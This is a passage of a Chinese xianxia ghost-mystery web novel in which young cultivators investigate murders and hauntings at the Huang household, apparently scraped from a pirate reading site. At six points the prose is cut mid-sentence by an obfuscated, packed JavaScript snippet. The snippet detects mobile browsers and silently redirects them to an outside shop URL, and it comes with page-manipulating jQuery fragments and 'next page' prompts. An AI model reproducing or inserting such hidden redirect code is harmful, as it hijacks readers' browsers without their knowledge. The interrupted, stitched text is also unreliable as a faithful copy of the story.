“阳春门我也了解一些,秦叔叔是顶好儿的人,之前还送过我许多药包儿呢!”她同人说话的时候喜欢盯着对方的眼睛,哪怕对方并没有回看她。 “哦?什么时候?”秦在锦盛了一碗排骨汤给她。 “嗯...就前两年在东宁的时候呀,那时不是很多门派都被请去参加甲级任务了嘛,我那阵子生了场病,还是秦叔叔照看的呢, 哦对了!”她说到此处扭头看向了江洵。 “还有你们阁的三阁主挽姐姐,她怕我吃药太苦,还特意给我买了许多糖果呢!” 哈???你什么档次,跟我享受一样的待遇?? 江洵这次只在心里暗暗的嘀咕,没有再说出声。 “她是这样的,对小孩儿总是多一份关心。”江洵淡淡的说着。 “那你一会儿是要去中律司么?”秦在锦看她那只鸡腿快吃完了,又将盘子里的另一只鸡腿也挑出来夹给了她。 “嗯嗯。” “你若不介意的话,我们可以一起过去。” “我当然不介意呀!” 能吃到大鸡腿的话那她还有啥可介意的呢?不要跟好吃的过不去,她三哥说了,要做一个识货且懂货的人! “几位小友原来是修道之人。”邻桌的大叔在听到中律司的时候转头看向他们。 “不才,正是。”秦在锦放下手中的筷子,端正了坐姿。 “倒还是头一回遇到年纪这么小的,前几日也来了许多做任务的道长,但看着要比你们年长几岁。”邻桌的婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170767|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶说道。 “没关系,我们虽然年纪小,但我们想为民除害的心并不小呀。” 冬苓嘴里的肉都还没嚼完,说话也口齿不清的。 “哈哈哈哈哈哈哈,你这丫头先把鸡腿吃完再说话吧。”婶婶笑着打趣她。 “在下有个问题想要问一下叔叔婶婶,您们可知距离此地最近的中律司在何处?又该往何处走呢?” 他们刚刚只顾着找个地儿吃饭了,还没来得及打听中律司的位置,如今吃饱了也该干正事儿了。 小二端着后厨熬制的绿豆羹走了过来,这是他们小店一直以来的特色,只要是天热的季节凡是进店的客官都会免费送上一碗绿豆羹。 “不远不远,你们出门右走,届时会遇到一个岔路口,但别左拐也别右拐您们就直愣愣的往前走就对了,约莫再走个三里地就到了,中律司和衙门都建在那边儿。”小二插话道,“对了!这是小店儿赠送的绿豆羹,既然到了咱们店,那就得吃好喝好!” 婶婶起身接过小二的绿豆羹,喝了一口,“听说右边镇子上黄员外家出事儿了?” “可不嘛,我二舅就住那员外家附近,昨天一大早的就搬来我家住了,说是他们那条街最近几日临到了晚上就阴森森的,哪还有人敢晚上出门啊。”这小二也不送别的桌了,就站在这儿跟他们聊了起来。 “要我说啊,他们家就是有不干净的东西,前日不是有个丫鬟想躲回家避避风头么,下午出的门,第二天早上就发现了她的尸体,死在了回家路上的寺庙里,舌头都被剜了去,看来他们家的人无论跑多远都难逃一个死。”大叔叹气的摇了摇头。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第20章 绛与皓 她将本子和笔递给了离她最近的冬苓。 冬苓拿到手以后就神情专注一笔一划的写,只是在写到门派的时候她顿住了。 “姐姐,写错了可以划掉嘛?”她一脸慌张的看着宋书岚,像闯了祸的孩子在等待家长的审判。 “可以。” “好嘞。”得到了赦免令的冬苓放松了下来,没一会儿就写好传给江洵了。 二??? 江洵没看懂被她划掉的那个二是什么意思,江湖中有门派是二字开头的么? 这丫头隐瞒身份来做任务真的没关系吗?中律司在这方面是没人管的吗? 他摇摇头开始写自己的名字和门派,等三人都写好将本子送还给宋书岚后,他们此次的任务便开始了。 “另外两位已经到达罗浮镇黄员外家,三位若没什么疑问的话,我们也速速过去吧。” 秦在锦挥了挥手表示没啥疑问。 见三人都没疑问,宋书岚便蹲在地上贴了张符,与此同时一个灵力波动的小蓝点以她为中心逐步向外扩散,最终形成了一个包围圈,在将四人都纳入了圈中后,宋书岚揭开了符纸,他们周围的环境开始瞬息万变,再抬头看他们眼前已经是另一幅景象了。 此时,有一高一低的少年向他们这边踱步走来。 “唐时?”秦在锦对着其中一人疑惑道,而后看了眼江洵。 江洵:????看我干嘛?我又不认识。 这二人一左一右,一个穿的朴素一个却穿的华丽,右边这人的穿着让江洵想到了一个词——孔雀开屏。 “初次见面,凌霄岛蒋曌。”孔雀笑眯眯地跟他们打了声招呼。 宋书岚点了下头将本子翻到罗浮镇那一页后连笔一同递给了他。 这时候朴素也开口了:“济云楼唐时。” 他说罢便看向了别处,一副不愿与他们有过多交流的表情。 江洵瞥了这人一眼,他虽穿的朴素可刚刚那说话的态度却不是很朴素。 等等……什么楼?济云楼????这名字怎么听着那么耳熟。 江洵看了这条街的两头,分明是大白天,却鲜少有人出没,与方才吃饭的那条街有着鲜明的对比。 这镇子虽说不是什么很繁华的地段,但方才那条街人来人往,无论是摆摊的商贩还是饭后遛弯儿的百姓都给人一种祥和的感觉,可这条街上的伶仃几人行走的步伐却格外的快,给人一种走慢了就随时会摊上大事儿的样子。 宋书岚收回记录本后率先走向了黄员外家的门口,只是她在抬起手敲门的时候突然停下了。 只见上方门梁与门的空隙处有血在往下慢慢地滑落,将本是大红色的木门染成了黑红。 宋书岚盯着那处看了一会便收回了视线,继续扣门,可在扣了三下后门内却没有传出丝毫声响。 “别是里面的人都死完了吧?”唐时站在最后面说道。 宋书岚没有理会他的话语,扣门的力度比方才大了一些,可结果却没有什么区别,门内依旧是没有人回复。 蒋曌走到了右边的墙壁,随即往后退了几步,一个冲刺便爬上了墙头翻了过去。 宋书岚见状虽皱了下眉,但也并未多说什么,这法子虽有冒犯但却有效。 这不,没过一会儿,蒋曌就从里面把门打开了。 进门的同时宋书岚抬头看了下刚刚渗出的血究竟是从何而来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170768|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见左扇门的门梁上方钉着三个人头,可这脖颈处的切面并不像是被人一刀砍断的,很像是被活生生撕扯下来的。 前两颗头颅的血液已经凝固,只有右边的那颗还在一点点的往下渗血,看来是刚死不久。 几人默不作声的继续向前走去,过了前厅就来到了黄府的后花园,申时已过半,阳光依旧刺眼,只是这园子里却没有一丝暖意。 池子里是一片腐败的景象,不仅有浮在水面的瞪着眼睛的死鱼,还有一具背对着他们的无头尸体,看这衣服倒像是府中的小厮。 就在几人想要走近池子查看的时候,一位躲在假山后的女子探出了身子说道:“不要靠近池子,那里很危险。” 她的发丝凌乱,衣裙也是皱皱巴巴的,扶在假山上的手背有几处大小不一的划伤,一副惊慌又担忧的表情看着他们。 宋书岚边走向女子边掏出自己的令牌,“在下是中律司的宋书岚,姑娘现下可有时间跟我们细说一下家中近日发生的怪事?” 她脚步平缓地走向那位满脸愁容的女子,用温柔的语气来缓解对方的焦虑,看那位女子并没有向后退缩时她松了口气。 要是容若在就好了,她最擅长安抚人心了。 宋书岚在心里想着。 那女子看了眼周围,似乎在确定了没有什么东西跟着她以后才点了点头。 她低着头走出了假山,“小女名唤诗禾,本是少夫人的贴身婢女,夫人走了以后便也只是这府中寻常的丫鬟罢了。” “哪位少夫人的呀?” 冬苓问道,不是有两个少夫人么,虽然都不在人世了。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第21章 袭夜色 于是冬苓和秦在锦打扫房间擦拭桌子,江洵心安理得的躺床上睡觉。 没过一会就听到有人往这边赶来的脚步声,冬苓停下了手中的动作,看向了门外。 只见一个眼睛小低鼻梁,皮肤还有些粗糙的男人站在门外往里面张望,待对上冬苓的视线时,立马嬉皮笑脸地进了门。 “小的是黄府的管家,名叫曾朋,方才诗禾姑娘同我说了几位的来历,小的立即赶来看看几位大人可还有什么缺的东西?您们尽管说,小的定会尽力满足几位大人的需求。” 这管家说话的时候虽是弓着腰,可那双眼睛却一直在两人间瞄来瞄去的,那眼神像是在打量又像是在质疑,尤其是看到冬苓的时候更是皱了下眉。 “咱们府中什么时候吃晚饭呀?”冬苓没有在意曾朋刚刚是如何打量她的,她只在意啥时候能吃上热乎乎的饭菜。 “小的已经安排人去厨房准备了,还需再等上半个时辰就能去前厅吃饭了。” “你们当家的会一同用饭吗?”秦在锦问道。 “自然是一同的。”曾朋笑着回。 “那就好,我们这边目前没旁的什么事,也没什么缺的东西,被褥么也不用劳烦您再换新的了,将就着也能用的。”这话得意思就是你现在可以走了。 他听懂了秦在锦在言外之意,“那小的再去问问另外几位大人,如果后面想到有什么需要的您再通知我,小的就先告退了。” 说完也不等秦在锦他们回复,就兀自离开了,听这声音是去了隔壁宋书岚的房间。 秦在锦看了眼蹲在那全神贯注擦凳子的冬苓,“他刚刚那眼神你看到了么?” “看到了呀,他无非就是觉得我一个黄毛丫头年纪轻还没啥实力呗。”冬苓仔细端详了一下自己擦的凳子,锃亮锃亮的简直是完美! “你不生气啊?” “嗯...生气和哭泣对我来说都是一样的,如果宣泄情绪能让自己好受一些的话那应该尽情的发泄出来,可我对他给出的眼神没有任何的情绪波动,所以我犯不着儿生气,而且生气解决不了问题。” 是啊,对于一些人来说哭泣和生气往往都只是为了宣泄内心的情绪和委屈,并不是想要去切实的解决问题,毕竟没人疼的孩子就算哭的再大声也改变不了现状,只会无端的惹人烦。 “你家里人对你不好吗?”秦在锦不明白她为何小小年纪就有如此觉悟,难不成是环境养人?家里人欺负她? “他们待我很好呀!”冬苓想都没想的就回道。 她是在爱里长大的孩子,所以她从不在意旁人投来质疑的眼光,因为家人给了她足够的底气让她确信她做什么都可以。 她是不如榜上前几名的人,她甚至没有正儿八经的独自完成几个任务,但这并不影响她今后的选择,换句话说,她觉得罗浮镇的任务并不难甚至是势在必得。 “要是我可能就生气了。” “不气,我替锦哥儿揍他!”冬苓做了个打拳的动作。 “那敢情好呀,可要是洵哥气我,你还帮我揍他么?” 躺床上的江洵翻身往秦在锦这扔了个枕头,一旁的冬苓在枕头飞来之前迅速捏了个诀,让枕头在靠近秦在锦一尺的地方停了下来,等冬苓结印的手松开以后,枕头也随之落在了地上。 “我虽然不能帮你揍洵哥儿,但我能帮你挡伤害呀! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170769|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她抬头看向秦在锦,还是那双亮晶晶的眼睛,还是那副得意的小表情,一看就是在等人夸她。 秦在锦本想抬手摸摸她的头,但又怕这么做有些唐突,最终对她比了个赞。 “起床吧洵儿,去前厅吃饭了。”秦在锦捡起枕头放在了床上。 江洵坐起来愣了一会才站起身,他从进这个院子以后就想睡觉了,本以为是这院子里有问题,可另外两人忙里忙外收拾东西的时候那么有活力,他就打消了这个念头,责怪不了他人就内耗自己吧,难不成真是自己睡眠不足的原因? 他们这边刚出门,就碰到了换了身新衣服的“孔雀”,只是那厮也是一副没睡醒的样子,边打哈欠边关门。 在路过宋书岚和唐时房间的时候,发现这二人窗户虽然敞开着,但人并不在房间里。 于是四个人顺着来时的路去往前厅,只是在路过池子的时候江洵发现那具尸体翻了个面,变成了身子朝天背朝水下。 如今太阳已落山,夜色逐渐袭来,整个园子里笼罩着一层层的薄雾。 江洵盯着那具尸体,突然间看到尸体旁边的死鱼动了一下眼睛,于是立即看向别的死鱼,发现这些鱼不仅眼睛在动,嘴也一张一合的吸吮着。 江洵想碰一下身旁的秦在锦,提醒他注意看池子里的变化,可此刻他身旁哪还有什么秦在锦。 嗯????不会又走散了吧??? 他那么大个百宝箱又丢了??? 江洵觉得下次出门之前有必要找根绳子拴着他的百宝箱。 咚咚—咚咚—咚咚 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第22章 黄二爷 黄允恒见他在外人面前这么嘲讽自己,心中的怒火瞬间被勾了起来了,“我哪有你会说啊?哄得人姑娘心甘情愿的给你做替死鬼呢!” “你简直是血口喷人!” “呦!你还敢做不敢当了?你那夫人桑若究竟是怎么死的你以为我会不知道???你就是伪君子一个,哎我就纳了闷儿了,家里的鬼怎么不第一个把你的命给索走呢!!!” 黄允恒说完这句还没完,当即起身站了起来指着黄允岸的鼻子继续骂道:“你他娘的这边当家,那边爹爹就卧床不起了,我说天底下怎么就有这么巧的事儿呢?指不定是你这个小白脸背地里又做了什么见不得人的勾当吧!” 黄允岸气的将手中的茶碗扔到了地上,眼睛直直的瞪着眼前的人。 黄允恒自然不放过这个乘胜追击的机会,要知道他可很少能在口头上占上风,“瞪什么瞪?被我说中了所以心虚了?哑口无言了?” “你说话可要讲证据,整天说一些捕风捉影的疯话,爹爹不把府中大权交给你是什么原因你心里门清儿。” “可就算给你你又为黄府做了什么呢?你出生就克死亲娘现在又克死老婆和孩子,你就是天煞孤星命中带克!我看府中死的那么些人也都是被你克死的吧!”宋允恒说罢看向宋书岚,“宋姑娘,我看你们这案子也别查了,你们直接把他这人带走就行了,只要他人走了那咱这案子也就结了。” 宋书岚算是明白了,这两兄弟平日里就是谁也不看不惯谁,但又不能真的将对方怎么样,而且听这语气,报案的人估摸着是大哥黄允恒。 从他的话中还是可以找到一些有用的信息,比如桑若的死定有蹊跷。 再比如甘愿做替死鬼这句话也很值得深究,又是做谁的替死鬼呢??? 虽然这二人的争执是聒噪了些,但于宋书岚来讲却想让他们兄弟俩继续吵下去,即便互相揭对方短处时所说的话有那么点添油加醋的成分,但却总比遮遮掩掩什么都不说要来的好。 可就在这时,院子里传来了一阵刺耳的尖叫声盖过了这两兄弟的争吵声。 “开始了...她又要杀人了...”坐在中间的那个人说道,这人从进门到大家都动筷吃饭的时候他就一直在念叨着什么,还时不时的捂住自己的耳朵,仿佛有人在他身边讲话一般。 江洵本想先出去看一眼,却被身旁的冬苓一把拉住。 “洵哥,你这招邪的体质还是别第一个就冲出去了吧。” 哈???? 坐在对面的蒋瞾嘴里的饭还没咽下去就跑了出去,他本次来的目的就是做任务提排名的,什么妖魔鬼怪的他才不在意,他只想多做任务并且多拿第一。 秦在锦边笑边起身,他是很认同冬苓刚才讲的那句话的,因为上个任务里江洵也是最先同大家走散的,多少是有点招邪的体质在的。 见其他门派的弟子都起身了,最末端的唐时也不紧不慢的拿着刀出门了。 “宋姑娘不去么?”黄允恒看着依旧稳稳坐在那里的宋书岚。 “不急,先吃饱饭再说。” 毕竟这一晚可有的闹呢。 蒋曌循着刚刚的声音走到了后花园,当走到假山附近的时候听到了山体后方传来一阵阵低沉的喘息声,那是他们第一次见到诗禾的地方。 刚刚吃饭时没在前厅的人似乎只有中途离场的福明,而从那露出来衣角的颜色确实和福 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“人可不是我打哭的啊,不是,你笑什么啊?”秦在锦慌张的向江洵解释。然而江洵只是笑着敷衍的点了点头,丝毫没有要信他的意思。 方才手忙脚乱的没人仔细去看福明有没有受伤,如今都停下来以后才逐渐看清他衣服上的血渍,尤其是腹部那里的血迹更为明显。 秦在锦想要让他躺下来帮他好好的检查一番,看看身上有没有伤口,可这人一个劲的哭喊,根本就不理会秦在锦。 “啧。” 江洵实在是觉得吵闹,上去就给他脖子来了一下,人是安静了但同时也晕过去了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第23章 叹奈何 又是二夫人... 宋书岚大概已经知道那个做替死鬼的人是谁了,只是要想再深究个因果出来还需要找到更多的线索。 她回头打量站在那里的一群人,这些人中有人在浑水摸鱼,有人在借刀杀人,还有的人在弄虚作假,小小的黄府真是有趣的很呢。 “你觉得你今天碰到的那两只鬼生前是不是黄府的人?”秦在锦认为他们掌握的信息太零碎了,不足以拼接成一个完整的故事,而且在这个宅院里他们过于被动了。 "我觉得应该是,她们二人一个杀一个护,若跟黄府没关系是犯不着停留在这宅子里的,而且她俩都有个共同点。” “什么?” 江洵没说话,只是用手敲了敲自己的腿。 那阵阵的咚咚声确实是走路的声音没有错,但之所以发出这样的声音极有可能是因为那个人的腿有问题,亦或者说是断腿。 而穿嫁衣的女子即使她走路的时候拖着尸体,也不难看出她的两条腿僵硬的如同假肢一般,正常人行走是迈开步子走,由腿带动着身体,但她像是用两侧的胯骨来带动腿行走。 只是这两人谁是桑若谁又是宋淇呢。 “腿...要不找人问一下???”秦在锦瞄了一圈周围的人,最终还是决定问熟人好一些,于是他朝站在最边上的诗禾挥了挥手。 诗禾在看到秦在锦的动作以后便知道是找她有事了,也没说什么就直接走了过来。 “大人是有问题要问吗?” “聪明!”秦在锦打了个响指。 诗禾用帕子捂着脸笑了一下,“大人您问。” “你们家二夫人的腿可有顽疾?或者说...” “顽疾倒不曾有,只是.…” 江洵这时候接话道:“只是断了。” 诗禾惊讶的看着江洵,“大人是怎么知道的?” “是生前断的么?”江洵没有回答她的问题继续问道。 “是也不是。” “啊???什么个意思?”冬苓最听不得这种答案了,这跟我问你吃要不要吃鸡腿,你回都行有什么区别?那你到底吃不吃? “此事说来话长。” “那断腿的是哪位夫人?”冬苓问道。 “宋夫人。” 江洵皱了下眉,他以为被断腿的会是另一位呢,“桑夫人的腿没有问题么?” 诗禾想了一下说:“嫁进来时是没有问题的,可后来不知为何时常听她说起腿疼。” 腿疼……秦在锦思索了一番后问:“病因呢?大夫怎么说?” “没找大夫。” “哈???你们这家大业大的,当家夫人腿疼了不知道花钱请个大夫看一下?”秦在锦实在是没忍住,拔高了说话的声音。 诗禾被他突然的质问吓的向后退了一步,再回话时声音都变小了,“就是当家的二少爷不让找的。” “不是,为啥呀?为啥不让找大夫啊?” 诗禾的手紧紧的攥着帕子低着头回道:“我不知道。” 江洵觉得再就着这个问题往下问也问不出什么所以然来了,“行了,这事儿要么是真不知道,要么是真不能说,那宋夫人的腿是怎么断的这事儿你知道么?” 秦在锦沉默了,他是医者,他不能理解为何有时候明明可以治好的病却因为病人自己一拖再拖最终变得严重甚至危及了性命,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170771|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾经向姐姐吐槽过为什么那些人不愿意找大夫看病呢?为什么明明可以治好的却非要一意孤行呢?为什么不珍惜自己的身体呢? 可姐姐只是笑着回他“不是所有人都可以决定自己的生死,也不是所有人都有能力去决定自己的生死,这世间有太多的无可奈何和身不由己,你在质问别人为什么的时候请顺便问问自己又凭什么呢。” 诗禾松开了手中的帕子,看着江洵的眼睛一字一句的说道:“我知道的,她的死不是意外,而是谋害。" “那年小姐怀胎七个月,少爷说要去上香祈福,希望小姐能够平平安安的生下孩子,小姐觉得这种事还是亲自去求更显得心诚,所以提出要和少爷一起上山烧香,少爷担心路上颠簸恐动了胎气,可最终还是拗不过夫人,于是二人就这么出门了。” “本来去的路上一切都很顺遂,只是在回来的路上出了变故…” 诗禾脸颊带泪,声音也愈发哽咽,如果可以回到过去重新选择,她那天是绝不会让宋淇出门的。 两年前—— “我看今天天气那么好还以为上香的人会很多,来的时候还担心会挤不进去呢。”宋淇依偎在黄允岸的怀里,两只手本能的护着肚子,她虽已怀胎七月,可身孕却并不明显。 “我都说了你在家会安全一些,非不听我的。”黄允岸无奈的摇了摇头,早知如此,他当初就不该把上香的事儿同宋淇说,这样他自己一人来也方便些。 宋淇听到这话坐了起来,佯装生气道:“哎呀,我天天在家里都要闷死了,这也不许那也不许的,走到哪诗禾都要跟着说生怕我出事儿,可我能出什么事儿呀。” 这章没有结束,请点击下一页继续阅读! 第24章 旧人辞 宋淇倒在血泊中,她突然怀念起在黄府度过的那些百无聊赖的日子。 不知为何,眼前浮现出诗禾的小脸儿,若是让她知道自己现在的处境那丫头怕是眼睛都要哭肿了,她又看到了自己的父母,娘亲笑着跟她说:“回家吧囡囡,给你做了最爱喝莲子粥。” 还有允岸,他要怎么办?她走了以后允岸要怎么办,他要如何孤身在人心叵测的黄府里生活。 她想回家,想回到他的身边,她得回家啊... 宋淇的意识渐渐模糊,身体也变得越来越沉重。 她最终死在了无止境的争吵声中,死在了微风不燥的艳阳天,带着她的不甘和遗憾。 “刀……刀哥,她好像死了……”一旁的小弟说道。 刀哥瞬间慌了神,他没想过闹出人命来的,那个人明明跟他说只是打劫而已,不会有什么事儿的,这下人都死了可怎么办? 曹大伟在听到人死了以后也停了下来,他默默地回头看了一眼,他发觉那女人的眼睛正在死死的盯着他,他突然被这一眼吓到了,“不是我杀的...”他扔掉手中的斧头往外跑去。 “不是我杀的!不是我杀的!是她命薄……对……是她该死!哈哈哈哈哈哈哈哈!她该死啊都该死!” 石泉看着左边愣神的刀哥和右边疯魔逃跑的曹大伟,他像泄了气的球一般瘫坐在那,难道他爹的命是命,别人的命就不是命了么,更何况她肚子里还有个孩子。 刀哥深吸了一口气,怎么说这事儿也是由他一手组织的,即使他是被人蛊惑了,但行刑的刽子手确实是他,他得镇定起来,得给兄弟们一个交代。 他掏出了腰间的钱袋,“这是那个人给的定金,兄弟们都分一下,今天这事儿都别声张,衙门那边要是真查出来什么你们到时候就推到我头上,大伙就先散了吧。” 他看了眼坐在地上的石泉,蹲下去拍了拍他的肩膀,“给兄弟们发了吧,哥对不起你,本想着还能多赚点给叔看病呢。” 石泉接过钱袋,“她的尸体怎么办?就放在这里吗?” “放这也没事,官兵不久就会找到这儿,咱们这几天先躲起来。” 黄府宋府两家那么有钱,顾人找一个尸体并不是什么难事,更何况这破房子就在山脚不远处。 于是这伙人有的像没事人一样回家躲着,有的选择出城门避避风头。 确实如刀哥所说,宋家派出的人在晚上就找到了这里,任谁看到宋琪如今的模样都倒吸一口凉气。 她本是被捧在手心长大的大小姐,从小吃穿不愁衣食无忧,孝顺父母尊敬长辈,就连对待下人都也和声和气的从未发过脾气,如今却浑身是血的惨死在这破屋子里,死不瞑目。 为首的那人不忍心再看,蹲下为宋淇合上了双眼,他将身上的衣服脱下来盖住了宋淇被砍断的双腿,又用帕子温柔地替她把脸上血渍擦拭干净。 即使夜色深重但宋府上下仍然灯火通明,自小姐出事后丫鬟小厮都过得小心翼翼的,诗禾在得知宋淇出事的消息后就立即赶回到了宋府,她知道黄府那群人左右是指望不上的。 可当看到柳守华一行人抬着一具尸首回来的时候,他们的心都往下沉了。 不是站着回来的,也不是抱着回来的,而且抬着回来的,是伤的很重么?还是说…… 宋显弘第一个冲上去想要掀开盖住面容的衣服,却被站在一旁的柳守华拦住了,“老爷,您节哀。” 宋显弘木楞的点了点头,他仿佛一瞬间老了十岁,颤抖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170772|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手去掀开那盖在身上却没有一点起伏的衣服,映入眼帘的是紧闭着双眼没有一丝呼吸的尸体。 宋夫人在看到自己女儿的尸首时泣不成声,差点昏倒过去,诗禾立即上前扶住了她的身子。 迟迟赶来的是宋允岸,他下午带着黄府的亲信和赎金沿着去时的路找宋淇,可那里哪还有什么宋淇,他在看到官兵的时候更加焦急了,到底是谁报的官?宋淇又被带去了哪里? 最终他在山下的一个草垛里看到了神叨叨的曹大伟,他将自己蜷缩在那里,头上衣服上沾上了杂草也不在意,嘴里一直重复着该死该死……眼前来人了也没发觉。 宋允岸认出了他身上的衣服,和白天打劫他们的那行人穿的一模一样,他上前将他拽了出来,质问他宋淇在哪。 可曹大伟哪还有什么理智去回他的问题,他疯癫的模样和重复的语言让宋允岸心凉,“先把他捆起来带走。”他让自己冷静下来,吩咐着身边的人。 如今还是要先回宋府,将此人交给宋老爷,他们有的是法子让他回答问题。 可当他到达宋府的时候,发觉这里的氛围十分沉重,甚至还能听到有人在默默的抽泣。 他快步走到前厅,看到的是一具被白布盖住的尸体。 都在哭什么…… 是谁死了? 都站在这里做什么? 大家为什么都不去找宋淇…… 宋显弘看到姗姗来迟的黄允岸时,怒火瞬间涌上心头,他蹒跚的跑过去给了他一拳头,“你怎么做的事!你是怎么保护她的?!你当初娶她的时候是怎么像我保证的?你把我的囡囡还给我 ……你还给我啊……” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第25章 不可及 “可她生前平白遭受的折磨和屈辱,一桩桩一件件黄允岸难道就没有站出来替她说话或帮她解围么?”宋书岚问道。 她生平最恨不负责任的男人,无论是身为父亲也好,还是作为丈夫也罢,一个将生下孩子来不去教养,一个将妻子迎娶进门后就弃之不顾,那么当初又何必去做这些事情呢?难道只是为了一时的欢愉或者其他什么目的么? 诗禾摇了摇头,“二少爷在的时候他们自然不敢明面上欺负去桑夫人,但当二少爷出府以后他们便趁机欺负她,我也曾向二少爷提起过桑夫人的事情,可他还是对我说了同样的话,让我不要多管闲事。” 江洵静静地坐在那里,眼神专注地凝视着手中那把精致的匕首,他的手指轻轻摩挲着刀柄,一边聆听着耳边的谈话声,一边试图拼凑整个故事的来龙去脉。 他开始思考其中的各种细节和可能性,分析每个人之间的关联,不想放过任何一丝蛛丝马迹。 如果没猜错的话,今日撞见的那个穿嫁衣的女子想必就是桑若了,可她又是怎么死的呢?被这府中的人害死的?还是受够了折磨选择自杀了呢? 等一下... 黄允岸那么爱宋淇,为何在知道凶手以后就去不追究了? 是他拿凶手没办法还是就算不追究也无所谓了呢。 可他黄允岸觉得没关系,宋家上下也会觉得没关系么?自己女儿尸骨未寒,女婿就另娶新妇入门,宋家又怎会轻易放过黄允岸。 还有一点,桑若在这场故事扮演着什么角色。 这两人无论是长相还是家境都毫不相同,即便他有意续弦生下一个孩子来巩固自己在黄府的地位,但凭借他这样的地位和身份,也绝对能够挑选到背景单纯、清清白白的女子,根本没有任何必要选择桑若啊! 除非桑若是至关重要的一环,且一定有着和宋淇相像的地方。 江洵抬头看向诗禾,这姑娘一定是知道些什么,或者说她在替人隐藏着什么,他们确实从她这里得到了很多的线索,可这些都是无关紧要的东西,是这府中任何一个人的嘴巴里都能打听到的东西,诗禾绝对还有很多实话没有向他们透露。 他又回头打量了一眼黄府的众人,本想观察一下这群人的表情,却发现了站在床边的曾朋有些许不对劲。 只见他的头微微低下,两只拳头紧紧的握住,眼睛在怒视着前方。 而他的前方是那个死了人的池子,被夜色衬托的更加的平静而深邃,好似有一种神秘的力量在吸引着人过去观赏。 而和他有同样表情的还有躺在床上的黄老爷,这老头明明是平躺在床上,可头却扭向池子,只是从他眼里渗透出来的却是恐惧。 池子里究竟有什么东西? 就在江洵也要仔细观察水池表面有何端倪的时候,冬苓拍了一下他的肩膀。 眼前的姑娘嘴角微微上扬,双眼在月光的照耀下泛着点点星光,笑着同江洵说道:“洵哥,在这个院子里,你最好不要盯着一处看太久哦。” 说罢往江洵身上贴了一张符纸,和吃饭前贴的那两张一样,还没等江洵回答她什么这丫头就转身凑到秦在锦身边待着了。 江洵只好拍了拍脸,让自己清醒一下。 “所以凶手是谁呢?诗禾姑娘。”蒋曌打了个哈欠问道,此时已经亥时了,他实在是困得想找张床好好睡上一觉。 诗禾没有立即回答这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170773|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题,只是默默地看向了不远处坐在凳子上吊儿郎当嗑瓜子的黄允恒。 